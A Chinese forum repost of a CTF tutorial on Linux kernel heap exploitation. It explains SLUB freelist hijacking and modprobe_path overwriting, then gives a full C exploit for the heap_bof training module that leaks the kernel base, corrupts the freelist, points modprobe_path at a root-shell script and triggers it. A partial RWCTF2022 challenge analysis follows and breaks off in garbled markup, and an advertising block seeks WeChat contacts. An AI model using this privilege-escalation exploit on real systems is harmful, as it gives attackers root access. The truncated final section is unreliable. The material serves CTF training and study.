魏晓东 发表于 2024-11-27 12:05:03

Linux kernel 堆溢出使用方法(三)

前言

本文我们通过我们的老朋侪heap_bof来讲解Linux kernel中任意所在申请的其中一种比赛比较常用的使用伎俩modprobe_path(固然在高版本内核已经不可用了但ctf比赛还是比较常用的)。再通过两道近期比赛的赛题来讲解。
Arbitrary Address Allocation

使用思绪

通过 uaf 修改 object 的 free list 指针实现任意所在分配。与 glibc 差别的是,内核的 slub 堆管理器缺少查抄,因此对要分配的目的所在要求不高,不过有一点需要注意:当我们分配到目的所在时会把目的所在前 8 字节的数据会被写入 freelist,而这通常并非一个有效的所在,从而导致 kernel panic,因此在任意所在分配时最好确保目的 object 的 free list 字段为 NULL 。
当能够任意所在分配的时候,与 glibc 改 hook 雷同,在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64()
   sys_execve()
       do_execve()
           do_execveat_common()
               bprm_execve()
                   exec_binprm()
                       search_binary_handler()
                           __request_module() // wrapped as request_module
                               call_modprobe()其中 call_modprobe() 定义于 kernel/kmod.c,我们重要关注这部分代码:
static int call_modprobe(char *module_name, int wait)
{
    //...
    argv = modprobe_path;
    argv = "-q";
    argv = "--";
    argv = module_name;/* check free_modprobe_argv() */
    argv = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    if (!info)
      goto free_module_name;

    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    //...在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:如果我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
__int64 _request_module(
       char a1,
       __int64 a2,
       double a3,
       double a4,
       double a5,
       double a6,
       double a7,
       double a8,
       double a9,
       double a10,
     ...)
{
......
   if ( v19 )
 {
......
     v21 = call_usermodehelper_setup(
           (__int64)&byte_FFFFFFFF82444700, // modprobe_path
           (__int64)v18,
           (__int64)&off_FFFFFFFF82444620,
             3264,
             0LL,
           (__int64)free_modprobe_argv,
             0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh; /       ; __request_module+14B↑o ...                      
.data:FFFFFFFF82444701                 db  73h ; s
.data:FFFFFFFF82444702                 db  62h ; b
.data:FFFFFFFF82444703                 db  69h ; i
.data:FFFFFFFF82444704                 db  6Eh ; n
.data:FFFFFFFF82444705                 db  2Fh ; /
.data:FFFFFFFF82444706                 db  6Dh ; m
.data:FFFFFFFF82444707                 db  6Fh ; o
.data:FFFFFFFF82444708                 db  64h ; d
.data:FFFFFFFF82444709                 db  70h ; p
.data:FFFFFFFF8244470A                 db  72h ; r
.data:FFFFFFFF8244470B                 db  6Fh ; o
.data:FFFFFFFF8244470C                 db  62h ; b
.data:FFFFFFFF8244470D                 db  65h ; e
.data:FFFFFFFF8244470E                 db    0exp

#include "src/pwn_helper.h"

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9

size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;

struct param {
   size_t len;
   size_t *buf;
   long long idx;
};

void alloc_buf(int fd, struct param* p)
{
   printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_MALLOC, p);
}

void free_buf(int fd, struct param* p)
{
   printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_FREE, p);
}

void read_buf(int fd, struct param* p)
{
   printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_READ, p);
}

void write_buf(int fd, struct param* p)
{
   printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_WRITE, p);
}

int main()
{
   // len buf idx
   size_t* buf = malloc(0x500);
   struct param p = {0x20, buf, 0};

   printf("[+] user_buf : %p\n", p.buf);
   int bof_fd = open("/dev/bof", O_RDWR);
   if (bof_fd < 0) {
       puts(RED "[-] Failed to open bof." NONE);
       exit(-1);
 }

   printf(YELLOW "[*] try to leak kbase\n" NONE);

   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   int seq_fd = open("/proc/self/stat", O_RDONLY);
   read_buf(bof_fd, &p);
   qword_dump("leak seq_ops", buf, 0x20);

   size_t kernel_offset = buf - seq_ops_start;
   printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);
   modprobe_path += kernel_offset;
   printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);
   
   p.len = 0xa8;
   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   read_buf(bof_fd, &p);

   buf = modprobe_path - 0x20;

   write_buf(bof_fd, &p);

   alloc_buf(bof_fd, &p);
   alloc_buf(bof_fd, &p);

   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   strcpy((char *) &buf, "/tmp/shell.sh\x00");
   write_buf(bof_fd, &p);
   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   if (open("/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /tmp/shell.sh");
       system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
       system("chmod +x /tmp/shell.sh");
 }

   system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
   system("chmod +x /tmp/fake");
   system("/tmp/fake");

   return 0;
}https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411261416673.png
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂口试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
RWCTF2022 Digging into kernel 1 & 2

题目分析

start.sh
#!/bin/sh

qemu-system-x86_64 \
   -kernel bzImage \
   -initrd rootfs.img \
   -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
   -cpu kvm64,+smep,+smap \
   -monitor null \
   --nographic \
   -s逆向分析
int __cdecl xkmod_init()
{
 kmem_cache *v0; // rax

 printk(&unk_1E4);
 misc_register(&xkmod_device);
 v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
 buf = 0LL;
 s = v0;
 return 0;
}int __fastcall xkmod_release(inode *inode, file *file)
{
 return kmem_cache_free(s, buf); // maybe double free
}void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3){  __int64 data; // BYREF  unsigned int idx; //  unsigned int size; //  unsigned __int64 v6; //                                                // v3 __ : 0x8 rsp + 0x0                                                // v4 __ : 0x4 rsp + 0x8                                                // v5 __ : 0x4 rsp + 0xc  v6 = __readgsqword(0x28u);  if ( a3 ){    copy_from_user(&data, a3, 0x10LL);    if ( a2 == 0x6666666 )  {      if ( buf && size ></strong></p>  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Linux kernel 堆溢出使用方法(三)